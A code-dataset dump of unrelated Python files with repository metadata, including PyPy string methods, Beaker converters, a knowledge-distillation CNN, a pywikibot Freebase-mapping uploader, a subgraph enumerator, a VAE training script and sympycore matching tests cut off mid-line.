is\nable to handle UnicodeDecodeErrors.') str_encode = SMM('encode', 3, defaults=(None, None), doc='S.encode([encoding[,errors]]) -> object\n\nEncodes S' ' using the codec registered for encoding. encoding' ' defaults\nto the default encoding. errors may be' ' given to set a different error\nhandling scheme.' " Default is 'strict' meaning that encoding errors" ' raise\na UnicodeEncodeError. Other possible values' " are 'ignore', 'replace' and\n'xmlcharrefreplace' as" ' well as any other name registered' ' with\ncodecs.register_error that is able to handle' ' UnicodeEncodeErrors.') def descr__new__(space, w_stringtype, w_object=''): from pypy.objspace.std.stringobject import W_StringObject w_obj = space.str(w_object) if space.is_w(w_stringtype, space.w_str): return w_obj value = space.str_w(w_obj) if space.config.objspace.std.withrope: from pypy.objspace.std.ropeobject import rope, W_RopeObject w_obj = space.allocate_instance(W_RopeObject, w_stringtype) W_RopeObject.__init__(w_obj, rope.LiteralStringNode(value)) return w_obj else: w_obj = space.allocate_instance(W_StringObject, w_stringtype) W_StringObject.__init__(w_obj, value) return w_obj str_typedef = StdTypeDef("str", basestring_typedef, __new__ = newmethod(descr__new__), __doc__ = '''str(object) -> string Return a nice string representation of the object. If the argument is a string, the return value is the same object.''' ) str_typedef.custom_hash = True str_typedef.registermethods(globals()) @specialize.argtype(0) def stringendswith(u_self, suffix, start, end): begin = end - len(suffix) if begin < start: return False for i in range(len(suffix)): if u_self[begin+i] != suffix[i]: return False return True @specialize.argtype(0) def stringstartswith(u_self, prefix, start, end): stop = start + len(prefix) if stop > end: return False for i in range(len(prefix)): if u_self[start+i] != prefix[i]: return False return True

true

790c789ef0591a9f2be37f1d51653b8952fa335a

844

py

Python

ita/web/beaker/converters.py

Tezar/Assigment-generator

2a3d0d10f1e3b215a79efc727e26d2ebbf1bb7a3

[ "Apache-2.0" ]

null

ita/web/beaker/converters.py

Tezar/Assigment-generator

2a3d0d10f1e3b215a79efc727e26d2ebbf1bb7a3

[ "Apache-2.0" ]

null

ita/web/beaker/converters.py

Tezar/Assigment-generator

2a3d0d10f1e3b215a79efc727e26d2ebbf1bb7a3

[ "Apache-2.0" ]

1

2020-07-24T05:48:47.000Z

# (c) 2005 Ian Bicking and contributors; written for Paste (http://pythonpaste.org) # Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php def asbool(obj): if isinstance(obj, str): obj = obj.strip().lower() if obj in ['true', 'yes', 'on', 'y', 't', '1']: return True elif obj in ['false', 'no', 'off', 'n', 'f', '0']: return False else: raise ValueError( "String is not true/false: %r" % obj) return bool(obj) def aslist(obj, sep=None, strip=True): if isinstance(obj, str): lst = obj.split(sep) if strip: lst = [v.strip() for v in lst] return lst elif isinstance(obj, (list, tuple)): return obj elif obj is None: return [] else: return [obj]

28.133333

84

0.5391

def asbool(obj): if isinstance(obj, str): obj = obj.strip().lower() if obj in ['true', 'yes', 'on', 'y', 't', '1']: return True elif obj in ['false', 'no', 'off', 'n', 'f', '0']: return False else: raise ValueError( "String is not true/false: %r" % obj) return bool(obj) def aslist(obj, sep=None, strip=True): if isinstance(obj, str): lst = obj.split(sep) if strip: lst = [v.strip() for v in lst] return lst elif isinstance(obj, (list, tuple)): return obj elif obj is None: return [] else: return [obj]

true

790c7949e38fea35c440f0cd1ae210a7ab63f104

6,169

py

Python

model/studentB.py

eungbean/knowledge-distillation-cifar10

683379804c8724d097a845cee85f130b6767dbd7

[ "MIT" ]

1

2021-02-27T15:13:32.000Z

model/studentB.py

eungbean/knowledge-distillation-cifar10

683379804c8724d097a845cee85f130b6767dbd7

[ "MIT" ]

9

2019-12-16T22:16:55.000Z

2021-09-08T01:23:09.000Z

model/studentB.py

eungbean/knowledge-distillation-cifar10

683379804c8724d097a845cee85f130b6767dbd7

[ "MIT" ]

null

""" Baseline CNN, losss function and metrics Also customizes knowledge distillation (KD) loss function here """ import numpy as np import torch import torch.nn as nn import torch.nn.functional as F class Flatten(nn.Module): def forward(self, input): return input.view(input.size(0), -1) """ This is the standard way to define your own network in PyTorch. You typically choose the components (e.g. LSTMs, linear layers etc.) of your network in the __init__ function. You then apply these layers on the input step-by-step in the forward function. You can use torch.nn.functional to apply functions such as F.relu, F.sigmoid, F.softmax, F.max_pool2d. Be careful to ensure your dimensions are correct after each step. You are encouraged to have a look at the network in pytorch/nlp/model/net.py to get a better sense of how you can go about defining your own network. The documentation for all the various components available o you is here: http://pytorch.org/docs/master/nn.html """ class studentB(nn.Module): def __init__(self, params): """ We define an convolutional network that predicts the sign from an image. The components required are: Args: params: (Params) contains num_channels """ super(studentB, self).__init__() self.num_channels = params.num_channels # each of the convolution layers below have the arguments (input_channels, output_channels, filter_size, # stride, padding). We also include batch normalisation layers that help stabilise training. # For more details on how to use these layers, check out the documentation. self.conv1 = nn.Conv2d(3, 32, 5, stride=1, padding=2) self.bn1 = nn.BatchNorm2d(32) self.conv2_1 = nn.Conv2d(32, 32, 1, stride=1, padding=0) self.conv2_2 = nn.Conv2d(32, 32, 3, stride=1, padding=1) self.conv2_3 = nn.Conv2d(32, 64, 1, stride=1, padding=0) self.bn2 = nn.BatchNorm2d(64) self.conv3_1 = nn.Conv2d(64, 64, 1, stride=1, padding=0) self.conv3_2 = nn.Conv2d(64, 64, 3, stride=1, padding=1) self.conv3_3 = nn.Conv2d(64, 128, 1, stride=1, padding=0) self.bn3 = nn.BatchNorm2d(128) # 2 fully connected layers to transform the output of the convolution layers to the final output self.fc1 = nn.Linear(4*4*128, 500) self.fcbn1 = nn.BatchNorm1d(500) self.fc2 = nn.Linear(500, 10) self.dropout_rate = params.dropout_rate def forward(self, s): """ This function defines how we use the components of our network to operate on an input batch. Args: s: (Variable) contains a batch of images, of dimension batch_size x 3 x 32 x 32 . Returns: out: (Variable) dimension batch_size x 6 with the log probabilities for the labels of each image. Note: the dimensions after each step are provided """ # -> batch_size x 3 x 32 x 32 # we apply the convolution layers, followed by batch normalisation, maxpool and relu x 3 s = self.bn1(self.conv1(s)) # batch_size x 32 x 32 x 32 s = F.relu(F.max_pool2d(s, 2)) # batch_size x 32 x 16 x 16 s = self.conv2_1(s) s = self.conv2_2(s) s = self.conv2_3(s) s = self.bn2(s) # batch_size x 10 * 2 x 16 x 16 s = F.relu(F.max_pool2d(s, 2)) # batch_size x num_channels*2 x 8 x 8 s = self.conv3_1(s) s = self.conv3_2(s) s = self.conv3_3(s) s = self.bn3(s) # batch_size x 10 * 2 x 16 x 16 s = F.relu(F.max_pool2d(s, 2)) # batch_size x num_channels*2 x 8 x 8 # flatten the output for each image s = s.view(-1, 4*4*128) # batch_size x 4*4*num_channels*4 # apply 2 fully connected layers with dropout s = F.dropout(F.relu(self.fcbn1(self.fc1(s))), p=self.dropout_rate, training=self.training) # batch_size x self.num_channels*4 s = self.fc2(s) # batch_size x 10 return s def loss_fn(outputs, labels): """ Compute the cross entropy loss given outputs and labels. Args: outputs: (Variable) dimension batch_size x 6 - output of the model labels: (Variable) dimension batch_size, where each element is a value in [0, 1, 2, 3, 4, 5] Returns: loss (Variable): cross entropy loss for all images in the batch Note: you may use a standard loss function from http://pytorch.org/docs/master/nn.html#loss-functions. This example demonstrates how you can easily define a custom loss function. """ return nn.CrossEntropyLoss()(outputs, labels) def loss_fn_kd(outputs, labels, teacher_outputs, params): """ Compute the knowledge-distillation (KD) loss given outputs, labels. "Hyperparameters": temperature and alpha NOTE: the KL Divergence for PyTorch comparing the softmaxs of teacher and student expects the input tensor to be log probabilities! See Issue #2 """ alpha = params.alpha T = params.temperature KD_loss = nn.KLDivLoss()(F.log_softmax(outputs/T, dim=1), F.softmax(teacher_outputs/T, dim=1)) * (alpha * T * T) + \ F.cross_entropy(outputs, labels) * (1. - alpha) return KD_loss def accuracy(outputs, labels): """ Compute the accuracy, given the outputs and labels for all images. Args: outputs: (np.ndarray) output of the model labels: (np.ndarray) [0, 1, ..., num_classes-1] Returns: (float) accuracy in [0,1] """ outputs = np.argmax(outputs, axis=1) return np.sum(outputs==labels)/float(labels.size) # maintain all metrics required in this dictionary- these are used in the training and evaluation loops metrics = { 'accuracy': accuracy, # could add more metrics such as accuracy for each token type }

40.058442

119

0.625385

import numpy as np import torch import torch.nn as nn import torch.nn.functional as F class Flatten(nn.Module): def forward(self, input): return input.view(input.size(0), -1) class studentB(nn.Module): def __init__(self, params): super(studentB, self).__init__() self.num_channels = params.num_channels self.conv1 = nn.Conv2d(3, 32, 5, stride=1, padding=2) self.bn1 = nn.BatchNorm2d(32) self.conv2_1 = nn.Conv2d(32, 32, 1, stride=1, padding=0) self.conv2_2 = nn.Conv2d(32, 32, 3, stride=1, padding=1) self.conv2_3 = nn.Conv2d(32, 64, 1, stride=1, padding=0) self.bn2 = nn.BatchNorm2d(64) self.conv3_1 = nn.Conv2d(64, 64, 1, stride=1, padding=0) self.conv3_2 = nn.Conv2d(64, 64, 3, stride=1, padding=1) self.conv3_3 = nn.Conv2d(64, 128, 1, stride=1, padding=0) self.bn3 = nn.BatchNorm2d(128) self.fc1 = nn.Linear(4*4*128, 500) self.fcbn1 = nn.BatchNorm1d(500) self.fc2 = nn.Linear(500, 10) self.dropout_rate = params.dropout_rate def forward(self, s): s = self.bn1(self.conv1(s)) s = F.relu(F.max_pool2d(s, 2)) s = self.conv2_1(s) s = self.conv2_2(s) s = self.conv2_3(s) s = self.bn2(s) s = F.relu(F.max_pool2d(s, 2)) s = self.conv3_1(s) s = self.conv3_2(s) s = self.conv3_3(s) s = self.bn3(s) s = F.relu(F.max_pool2d(s, 2)) s = s.view(-1, 4*4*128) s = F.dropout(F.relu(self.fcbn1(self.fc1(s))), p=self.dropout_rate, training=self.training) s = self.fc2(s) return s def loss_fn(outputs, labels): return nn.CrossEntropyLoss()(outputs, labels) def loss_fn_kd(outputs, labels, teacher_outputs, params): alpha = params.alpha T = params.temperature KD_loss = nn.KLDivLoss()(F.log_softmax(outputs/T, dim=1), F.softmax(teacher_outputs/T, dim=1)) * (alpha * T * T) + \ F.cross_entropy(outputs, labels) * (1. - alpha) return KD_loss def accuracy(outputs, labels): outputs = np.argmax(outputs, axis=1) return np.sum(outputs==labels)/float(labels.size) metrics = { 'accuracy': accuracy, }

true

790c795137c30a0537925494d86f409b70e93998

4,148

py

Python

scripts/freebasemappingupload.py

notconfusing/pywikibot-fr-welcome-bot

6e07b7e74166a47c9425816e79786308df369ac2

[ "MIT" ]

1

2020-01-03T11:52:01.000Z

scripts/freebasemappingupload.py

notconfusing/pywikibot-fr-welcome-bot

6e07b7e74166a47c9425816e79786308df369ac2

[ "MIT" ]

2

2019-11-07T13:46:32.000Z

2019-11-07T14:20:53.000Z

scripts/freebasemappingupload.py

notconfusing/pywikibot-fr-welcome-bot

6e07b7e74166a47c9425816e79786308df369ac2

[ "MIT" ]

1

2020-04-14T14:52:24.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- """ Script to upload the mappings of Freebase to Wikidata. Can be easily adapted to upload other String identifiers as well This bot needs the dump from https://developers.google.com/freebase/data#freebase-wikidata-mappings The script takes a single parameter: -filename: the filename to read the freebase-wikidata mappings from; default: fb2w.nt.gz """ # # (C) Denny Vrandecic, 2013 # (C) Pywikibot team, 2013-2018 # # Distributed under the terms of the MIT license. # from __future__ import absolute_import, division, unicode_literals import gzip import os import sys import pywikibot class FreebaseMapperRobot(object): """Freebase Mapping bot.""" def __init__(self, filename): """Initializer.""" self.repo = pywikibot.Site('wikidata', 'wikidata').data_repository() self.filename = filename if not os.path.exists(self.filename): pywikibot.output('Cannot find %s. Try providing the absolute path.' % self.filename) sys.exit(1) def run(self): """Run the bot.""" # Set up some items we will use a lot. self.claim = pywikibot.Claim(self.repo, 'P646') # freebase mapping # And sources! self.statedin = pywikibot.Claim(self.repo, 'P248') # stated in # Freebase data dump freebasedumpitem = pywikibot.ItemPage(self.repo, 'Q15241312') self.statedin.setTarget(freebasedumpitem) # date of publication self.dateofpub = pywikibot.Claim(self.repo, 'P577') oct28 = pywikibot.WbTime(site=self.repo, year=2013, month=10, day=28, precision='day') self.dateofpub.setTarget(oct28) for line in gzip.open(self.filename): self.processLine(line.strip()) def processLine(self, line): """Process a single line.""" if not line or line.startswith('#'): return mid, sameas, qid, dot = line.split() if sameas != '<https://www.w3.org/2002/07/owl#sameAs>': return if dot != '.': return if not mid.startswith('<https://rdf.freebase.com/ns/m'): return mid = '/m/' + mid[30:-1] if not qid.startswith('<https://www.wikidata.org/entity/Q'): return qid = 'Q' + qid[33:-1] data = pywikibot.ItemPage(self.repo, qid) data.get() if not data.labels: label = '' elif 'en' in data.labels: label = data.labels['en'] else: # Just pick up the first label label = list(data.labels.values())[0] pywikibot.output('Parsed: {} <--> {}'.format(qid, mid)) pywikibot.output('{} is {}'.format(data.getID(), label)) if data.claims and 'P646' in data.claims: # We assume that there is only one claim. # If there are multiple ones, our logs might be wrong # but the constraint value reports will catch them if mid != data.claims['P646'][0].getTarget(): pywikibot.output('Mismatch: expected {}, has {} instead' .format(mid, data.claims['P646'][0].getTarget())) else: pywikibot.output('Already has mid set, is consistent.') else: # No claim set, lets add it. pywikibot.output('Going to add a new claim.') self.claim.setTarget(mid) data.addClaim(self.claim) self.claim.addSources([self.statedin, self.dateofpub]) pywikibot.output('Claim added!') def main(*args): """ Process command line arguments and invoke bot. If args is an empty list, sys.argv is used. @param args: command line arguments @type args: str """ filename = 'fb2w.nt.gz' # Default filename for arg in pywikibot.handle_args(args): if arg.startswith('-filename'): filename = arg[11:] bot = FreebaseMapperRobot(filename) bot.run() if __name__ == '__main__': main()

32.920635

79

0.583173

from __future__ import absolute_import, division, unicode_literals import gzip import os import sys import pywikibot class FreebaseMapperRobot(object): def __init__(self, filename): self.repo = pywikibot.Site('wikidata', 'wikidata').data_repository() self.filename = filename if not os.path.exists(self.filename): pywikibot.output('Cannot find %s. Try providing the absolute path.' % self.filename) sys.exit(1) def run(self): self.claim = pywikibot.Claim(self.repo, 'P646') self.statedin = pywikibot.Claim(self.repo, 'P248') freebasedumpitem = pywikibot.ItemPage(self.repo, 'Q15241312') self.statedin.setTarget(freebasedumpitem) self.dateofpub = pywikibot.Claim(self.repo, 'P577') oct28 = pywikibot.WbTime(site=self.repo, year=2013, month=10, day=28, precision='day') self.dateofpub.setTarget(oct28) for line in gzip.open(self.filename): self.processLine(line.strip()) def processLine(self, line): if not line or line.startswith('#'): return mid, sameas, qid, dot = line.split() if sameas != '<https://www.w3.org/2002/07/owl#sameAs>': return if dot != '.': return if not mid.startswith('<https://rdf.freebase.com/ns/m'): return mid = '/m/' + mid[30:-1] if not qid.startswith('<https://www.wikidata.org/entity/Q'): return qid = 'Q' + qid[33:-1] data = pywikibot.ItemPage(self.repo, qid) data.get() if not data.labels: label = '' elif 'en' in data.labels: label = data.labels['en'] else: label = list(data.labels.values())[0] pywikibot.output('Parsed: {} <--> {}'.format(qid, mid)) pywikibot.output('{} is {}'.format(data.getID(), label)) if data.claims and 'P646' in data.claims: if mid != data.claims['P646'][0].getTarget(): pywikibot.output('Mismatch: expected {}, has {} instead' .format(mid, data.claims['P646'][0].getTarget())) else: pywikibot.output('Already has mid set, is consistent.') else: pywikibot.output('Going to add a new claim.') self.claim.setTarget(mid) data.addClaim(self.claim) self.claim.addSources([self.statedin, self.dateofpub]) pywikibot.output('Claim added!') def main(*args): filename = 'fb2w.nt.gz' for arg in pywikibot.handle_args(args): if arg.startswith('-filename'): filename = arg[11:] bot = FreebaseMapperRobot(filename) bot.run() if __name__ == '__main__': main()

true

790c7a0c2a88b22dd3182e9569eb81e432c95c8f

4,590

py

Python

hsst/utility/dfs_subgraph_enumeration.py

matichorvat/hsst

9804892aa8cf2a226a3e406451fa4ecdbc7338cc

[ "MIT" ]

null

hsst/utility/dfs_subgraph_enumeration.py

matichorvat/hsst

9804892aa8cf2a226a3e406451fa4ecdbc7338cc

[ "MIT" ]

null

hsst/utility/dfs_subgraph_enumeration.py

matichorvat/hsst

9804892aa8cf2a226a3e406451fa4ecdbc7338cc

[ "MIT" ]

null

from collections import defaultdict from hsst.utility import search from hsst.utility.graph import SemanticGraph class SubgraphEnumeration(object): def __init__(self, graph, node_set_size_limit=0): self.full_node_set = graph.nodes self.full_edge_set = graph.edges self.current_node_set = set() self.current_edge_set = set() self.visited_states = set() self.subgraphs = [] self.node_set_size_limit = node_set_size_limit # Create fast lookup structures self.edges_by_source = defaultdict(set) self.edges_by_destination = defaultdict(set) self.edges_by_both = defaultdict(set) self.labels = defaultdict(list) for edge in self.full_edge_set: self.labels[(edge.from_node, edge.to_node)].append(edge) self.edges_by_source[edge.from_node].add(edge.to_node) self.edges_by_destination[edge.to_node].add(edge.from_node) self.edges_by_both[edge.from_node].add(edge.to_node) self.edges_by_both[edge.to_node].add(edge.from_node) def generate_moves(self): # Generate all possible moves # Each move consists of a single node and the set of edges that connect that node to the nodes # in the currentNodeSet E.g. ( node, { (label1, node, node1), (label2, node2, node) ... } ) # Moves are temporarily stored as a dictionary so that the full set of edges associated with each move # can be constructed moves = [] temporary_moves = {} # Check if the limit for the currentNodeSet size has been reached if 0 < self.node_set_size_limit <= len(self.current_node_set): return moves # The initial step is handled separately if not self.current_node_set: for node in self.full_node_set: moves.append((node, set())) return moves # The set of possible nodes consists of nodes that are not yet in the currentNodeSet possible_nodes = self.full_node_set - self.current_node_set # For every possible node, we need to check that it shares an edge with a node in the currentNodeSet # Otherwise we would violate the 'connected' constraint for possible_node in possible_nodes: destination_nodes = self.edges_by_source[possible_node] & self.current_node_set source_nodes = self.edges_by_destination[possible_node] & self.current_node_set if len(destination_nodes) > 0 or len(source_nodes) > 0: # There is at least one node in the current node set that we can connect the possible_node to # Check if this state has been explored already if self.id(node=possible_node) in self.visited_states: continue # If not, it is an acceptable move and we just need to construct the edge set that connects # the possible_node to the current node set edges = set( edge for source_node in source_nodes for edge in self.labels[(source_node, possible_node)]) | \ set(edge for destination_node in destination_nodes for edge in self.labels[(possible_node, destination_node)]) temporary_moves[possible_node] = edges for move in temporary_moves: moves.append((move, temporary_moves[move])) return moves def move(self, move): # Move is a tuple (node, edge_set) node, edge_set = move self.current_node_set.add(node) self.current_edge_set |= edge_set self.visited_states.add(self.id()) self.subgraphs.append((self.current_node_set.copy(), self.current_edge_set.copy())) def undo_move(self, move): # Move is a tuple (node, edge_set) node, edge_set = move self.current_node_set.remove(node) self.current_edge_set -= edge_set def solved(self): return False def id(self, node=None): if node: return " ".join(str(x) for x in sorted(self.current_node_set | {node}, key=lambda x: x.node_id)) else: return " ".join(str(x) for x in sorted(self.current_node_set, key=lambda x: x.node_id)) def enumerate_dfs_subgraphs(graph, df_limit=100): enumeration = SubgraphEnumeration(graph, node_set_size_limit=df_limit) search.df(enumeration, df_limit) return set(SemanticGraph(nodes, edges, nonterminal_count=0) for nodes, edges in enumeration.subgraphs)

38.898305

115

0.652505

from collections import defaultdict from hsst.utility import search from hsst.utility.graph import SemanticGraph class SubgraphEnumeration(object): def __init__(self, graph, node_set_size_limit=0): self.full_node_set = graph.nodes self.full_edge_set = graph.edges self.current_node_set = set() self.current_edge_set = set() self.visited_states = set() self.subgraphs = [] self.node_set_size_limit = node_set_size_limit self.edges_by_source = defaultdict(set) self.edges_by_destination = defaultdict(set) self.edges_by_both = defaultdict(set) self.labels = defaultdict(list) for edge in self.full_edge_set: self.labels[(edge.from_node, edge.to_node)].append(edge) self.edges_by_source[edge.from_node].add(edge.to_node) self.edges_by_destination[edge.to_node].add(edge.from_node) self.edges_by_both[edge.from_node].add(edge.to_node) self.edges_by_both[edge.to_node].add(edge.from_node) def generate_moves(self): moves = [] temporary_moves = {} if 0 < self.node_set_size_limit <= len(self.current_node_set): return moves if not self.current_node_set: for node in self.full_node_set: moves.append((node, set())) return moves possible_nodes = self.full_node_set - self.current_node_set for possible_node in possible_nodes: destination_nodes = self.edges_by_source[possible_node] & self.current_node_set source_nodes = self.edges_by_destination[possible_node] & self.current_node_set if len(destination_nodes) > 0 or len(source_nodes) > 0: if self.id(node=possible_node) in self.visited_states: continue edges = set( edge for source_node in source_nodes for edge in self.labels[(source_node, possible_node)]) | \ set(edge for destination_node in destination_nodes for edge in self.labels[(possible_node, destination_node)]) temporary_moves[possible_node] = edges for move in temporary_moves: moves.append((move, temporary_moves[move])) return moves def move(self, move): node, edge_set = move self.current_node_set.add(node) self.current_edge_set |= edge_set self.visited_states.add(self.id()) self.subgraphs.append((self.current_node_set.copy(), self.current_edge_set.copy())) def undo_move(self, move): node, edge_set = move self.current_node_set.remove(node) self.current_edge_set -= edge_set def solved(self): return False def id(self, node=None): if node: return " ".join(str(x) for x in sorted(self.current_node_set | {node}, key=lambda x: x.node_id)) else: return " ".join(str(x) for x in sorted(self.current_node_set, key=lambda x: x.node_id)) def enumerate_dfs_subgraphs(graph, df_limit=100): enumeration = SubgraphEnumeration(graph, node_set_size_limit=df_limit) search.df(enumeration, df_limit) return set(SemanticGraph(nodes, edges, nonterminal_count=0) for nodes, edges in enumeration.subgraphs)

true

790c7a1b4c501fb03fc116411c54360745164692

2,803

py

Python

figure_3/model_III/sobolev_alignment/train_VAE.py

saroudant/sobolev_alignment_manuscript

2b4d7ce4bbdac3a32ad8c02b950b4d1c91cda193

[ "MIT" ]

null

figure_3/model_III/sobolev_alignment/train_VAE.py

saroudant/sobolev_alignment_manuscript

2b4d7ce4bbdac3a32ad8c02b950b4d1c91cda193

[ "MIT" ]

null

figure_3/model_III/sobolev_alignment/train_VAE.py

saroudant/sobolev_alignment_manuscript

2b4d7ce4bbdac3a32ad8c02b950b4d1c91cda193

[ "MIT" ]

null

""" This script: - Train Sobolev Alignment. - Save the two networks. """ import os, sys, getopt import pandas as pd import numpy as np import re from anndata import AnnData import torch from pickle import dump, load from copy import deepcopy import gc from sobolev_alignment import SobolevAlignment # Import params from model_III_synthetic_params import * from read_data import read_data # Import parameters n_artificial_samples = None tmp_file = None opts, args = getopt.getopt(sys.argv[1:],'o:d:n:t:j:p:',['output=', 'data=', 'artifsamples=', 'temp=', 'job=', 'perm=']) for opt, arg in opts: if opt in ("-o", "--output"): output_folder = str(arg) elif opt in ("-d", "--data"): data_subfolder = str(arg) elif opt in ('-n', '--artifsamples'): n_artificial_samples = int(arg) elif opt in ('-t', '--temp'): tmp_file = str(arg) elif opt in ('-j', '--job'): n_jobs = int(arg) n_artificial_samples = n_artificial_samples if n_artificial_samples is not None else 10**6 n_artificial_samples = int(n_artificial_samples) tmp_file = tmp_file if tmp_file is not None else '/tmp/SM/' ### # IMPORT DATA ### X_source, X_target = read_data(data_folder, data_subfolder) gc.collect() ### # Sobolev Alignment start ### # Read best parameters cell_line_scvi_params, tumor_scvi_params = read_scvi_params(output_folder) sobolev_alignment_clf = SobolevAlignment( source_scvi_params=cell_line_scvi_params, target_scvi_params=tumor_scvi_params, source_krr_params=default_krr_params, target_krr_params=default_krr_params, n_jobs=n_jobs ) ### # Training Sobolev Alignment if not already saved. ### if 'sobolev_alignment_model' not in os.listdir(output_folder): pass else: sys.exit("VAE ALREADY TRAINED") sobolev_alignment_clf.n_jobs = n_jobs sobolev_alignment_clf.fit( X_source=X_source, X_target=X_target, source_batch_name=batch_name, target_batch_name=batch_name, continuous_covariate_names=continuous_covariate_names, n_artificial_samples=100, fit_vae=True, sample_artificial=False, krr_approx=False, n_samples_per_sample_batch=10**6, frac_save_artificial=1., save_mmap=tmp_file, log_input=log_input, no_posterior_collapse=no_posterior_collapse, frob_norm_source=frob_norm_source ) if 'sobolev_alignment_model' not in os.listdir(output_folder): sobolev_alignment_clf.save('%s/sobolev_alignment_model/'%(output_folder), with_krr=False) gc.collect() # Save embedding for x in sobolev_alignment_clf.scvi_models: np.savetxt( '%s/scvi_embedding_%s.csv'%(output_folder, x), sobolev_alignment_clf.scvi_models[x].get_latent_representation() ) torch.cuda.empty_cache() gc.collect() sys.exit("FINISH VAE TRAINING")

26.443396

119

0.727435

import os, sys, getopt import pandas as pd import numpy as np import re from anndata import AnnData import torch from pickle import dump, load from copy import deepcopy import gc from sobolev_alignment import SobolevAlignment from model_III_synthetic_params import * from read_data import read_data n_artificial_samples = None tmp_file = None opts, args = getopt.getopt(sys.argv[1:],'o:d:n:t:j:p:',['output=', 'data=', 'artifsamples=', 'temp=', 'job=', 'perm=']) for opt, arg in opts: if opt in ("-o", "--output"): output_folder = str(arg) elif opt in ("-d", "--data"): data_subfolder = str(arg) elif opt in ('-n', '--artifsamples'): n_artificial_samples = int(arg) elif opt in ('-t', '--temp'): tmp_file = str(arg) elif opt in ('-j', '--job'): n_jobs = int(arg) n_artificial_samples = n_artificial_samples if n_artificial_samples is not None else 10**6 n_artificial_samples = int(n_artificial_samples) tmp_file = tmp_file if tmp_file is not None else '/tmp/SM/' source, X_target = read_data(data_folder, data_subfolder) gc.collect() ell_line_scvi_params, tumor_scvi_params = read_scvi_params(output_folder) sobolev_alignment_clf = SobolevAlignment( source_scvi_params=cell_line_scvi_params, target_scvi_params=tumor_scvi_params, source_krr_params=default_krr_params, target_krr_params=default_krr_params, n_jobs=n_jobs ) 'sobolev_alignment_model' not in os.listdir(output_folder): pass else: sys.exit("VAE ALREADY TRAINED") sobolev_alignment_clf.n_jobs = n_jobs sobolev_alignment_clf.fit( X_source=X_source, X_target=X_target, source_batch_name=batch_name, target_batch_name=batch_name, continuous_covariate_names=continuous_covariate_names, n_artificial_samples=100, fit_vae=True, sample_artificial=False, krr_approx=False, n_samples_per_sample_batch=10**6, frac_save_artificial=1., save_mmap=tmp_file, log_input=log_input, no_posterior_collapse=no_posterior_collapse, frob_norm_source=frob_norm_source ) if 'sobolev_alignment_model' not in os.listdir(output_folder): sobolev_alignment_clf.save('%s/sobolev_alignment_model/'%(output_folder), with_krr=False) gc.collect() for x in sobolev_alignment_clf.scvi_models: np.savetxt( '%s/scvi_embedding_%s.csv'%(output_folder, x), sobolev_alignment_clf.scvi_models[x].get_latent_representation() ) torch.cuda.empty_cache() gc.collect() sys.exit("FINISH VAE TRAINING")

true

790c7b5b9f22d1052daa93cf8ab7e00c67f239ff

5,297

py

Python

sympycore/basealgebra/tests/test_matches.py

radovankavicky/pymaclab

21da758f64ed0b62969c9289576f677e977cfd98

[ "Apache-2.0" ]

96

2015-01-25T05:59:56.000Z

2021-12-29T14:05:22.000Z

sympycore/basealgebra/tests/test_matches.py

1zinnur9/pymaclab

21da758f64ed0b62969c9289576f677e977cfd98

[ "Apache-2.0" ]

3

2015-12-17T19:25:46.000Z

2018-06-19T07:05:20.000Z

sympycore/basealgebra/tests/test_matches.py

1zinnur9/pymaclab

21da758f64ed0b62969c9289576f677e977cfd98

[ "Apache-2.0" ]

36

2016-01-31T15:22:01.000Z

2021-03-29T07:03:07.000Z

from sympycore import CollectingField as Algebra Symbol = Algebra.Symbol Number = Algebra.Number Add = Algebra.Add Mul = Algebra.Mul Pow = Algebra.Pow Terms = Algebra.Terms Factors = Algebra.Factors def test_symbol(): p = Symbol('p') s = Symbol('s') t = Symbol('t') assert s.matches(s)=={} assert s.matches(t)==None assert s.matches(t,{},([s,],[True,]))=={s:t} assert s.matches(t,{},([s,t],[True,True]))==None def test_number(): s = Symbol('s') n = Number(2) assert n.matches(2)=={} assert n.matches(3)==None assert n.matches(s)==None assert n.matches(s+2)==None def test_wild(): w = Symbol('w') s = Symbol('s') wargs = [w],[True] assert w.matches(Number(2),{},wargs)=={w:2} assert w.matches(s,{},wargs)=={w:s} assert w.matches(w,{},wargs)==None assert w.matches(s+2,{},wargs)=={w:s+2} assert w.matches(2*s,{},wargs)=={w:2*s} assert w.matches(s**2,{},wargs)=={w:s**2} def test_symbol(): s = Symbol('s') assert s.matches(s)=={} assert s.matches(2)==None assert s.matches(2+s)==None assert s.matches(2*s)==None assert s.matches(s**2)==None def test_term(): s = Symbol('s') p = 2*s assert p.matches(2*s)=={} assert p.matches(3*s)==None assert p.matches(s)==None assert p.matches(Number(2))==None assert p.matches(s**2)==None def _test_wild_term(): w = Symbol('w') p = 2*w s = Symbol('s') t = Symbol('t') wargs = {},([w],[True]) assert p.matches(Number(1),*wargs)=={w:Number(1)/2} assert p.matches(Number(2),*wargs)=={w:1} assert p.matches(2*s,*wargs)=={w:s} assert p.matches(3*s,*wargs)=={w:s*Number(3)/2} assert p.matches(t*s,*wargs)=={w:t*s/2} assert p.matches(s**2,*wargs)=={w:s**2/2} m = p.matches(2*s+2,*wargs) assert m is not None and m[w]==(2*(s+1))/2 assert p.matches(2*s+4,*wargs)=={w:(s+2)*2/2} assert p.matches(2*s+5,*wargs)=={w:(2*s+Number(5))/2} assert p.matches(2*s+t,*wargs)=={w:(2*s+t)/2} assert p.matches(2*s-2*t,*wargs)=={w:(s-t)*2/2} def _test_wild_symbol_term(): w = Symbol('w') s = Symbol('s') t = Symbol('t') p = s+w wargs = {},([w],[True]) assert p.matches(s+2,*wargs)=={w:2} assert p.matches(t+2,*wargs)=={w:t+2-s} def _test_wild_wild_term(): w1 = Symbol('w1') w2 = Symbol('w2') p = w1 + 2*w2 s = Symbol('s') t = Symbol('t') wargs = {},([w1,w2],[True,True]) assert p.matches(Number(2),*wargs) in [{w2:0,w1:2},{w2:1,w1:0}] assert p.matches(2*s+t+2,*wargs) in [{w2:1+s,w1:t},{w1:2*s+t,w2:1},{w2:s,w1:t+2}, {w1:2+2*s, w2:t/2}] def _test_wild_factor(): w = Symbol('w') p = w**2 s = Symbol('s') t = Symbol('t') wargs = {},([w],[True]) #assert p.matches(Number(2),*wargs)=={w:Number(2)**(Number(1)/2)} #assert p.matches(Number(4),*wargs)=={w:2} #assert p.matches(Number(16),*wargs)=={w:4} #assert p.matches(Number(9),*wargs)=={w:3} #assert p.matches(Number(8),*wargs)=={w:2*Number(2)**(Number(1)/2)} assert p.matches(s,*wargs)==None assert p.matches(s**2,*wargs)=={w:s} assert p.matches(s**3,*wargs)==None #assert p.matches(s**4,*wargs)=={w:s**2} assert 